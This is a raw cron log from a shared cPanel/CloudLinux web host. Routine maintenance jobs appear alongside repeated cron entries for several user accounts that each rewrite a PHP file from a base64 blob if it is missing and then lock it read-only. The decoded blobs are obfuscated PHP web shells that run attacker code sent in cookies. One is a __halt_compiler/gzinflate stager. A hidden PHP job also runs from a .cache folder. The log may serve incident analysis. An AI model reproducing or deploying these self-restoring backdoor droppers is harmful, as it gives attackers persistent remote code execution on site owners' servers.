Mar  2 12:08:01 medusa CROND[17914]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:08:01 medusa CROND[17916]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:08:01 medusa CROND[17917]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:08:01 medusa CROND[17918]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:08:01 medusa CROND[17921]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 12:08:01 medusa CROND[17924]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:08:01 medusa CROND[17923]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  2 12:08:01 medusa CROND[17927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:08:01 medusa CROND[17938]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:09:01 medusa CROND[4417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:09:01 medusa CROND[4418]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 12:09:01 medusa CROND[4419]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:09:01 medusa CROND[4420]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:09:01 medusa CROND[4421]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:09:01 medusa CROND[4422]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:09:01 medusa CROND[4427]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 12:09:01 medusa CROND[4429]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:09:01 medusa CROND[4430]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:09:01 medusa CROND[4431]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:09:01 medusa CROND[4432]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:09:01 medusa CROND[4437]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:09:01 medusa CROND[4428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:10:01 medusa CROND[20049]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:10:01 medusa CROND[20066]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 12:10:01 medusa CROND[20254]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 12:10:01 medusa CROND[20431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:10:01 medusa CROND[20432]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 12:10:01 medusa CROND[20435]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 12:10:01 medusa CROND[20440]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 12:10:01 medusa CROND[20436]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 12:10:01 medusa CROND[20439]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:10:01 medusa CROND[20438]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:10:01 medusa CROND[20437]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 12:10:01 medusa CROND[20444]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:10:01 medusa CROND[20443]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 12:10:01 medusa CROND[20441]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:10:01 medusa CROND[20448]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:10:01 medusa CROND[20466]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:10:01 medusa CROND[20467]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:10:01 medusa CROND[20468]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
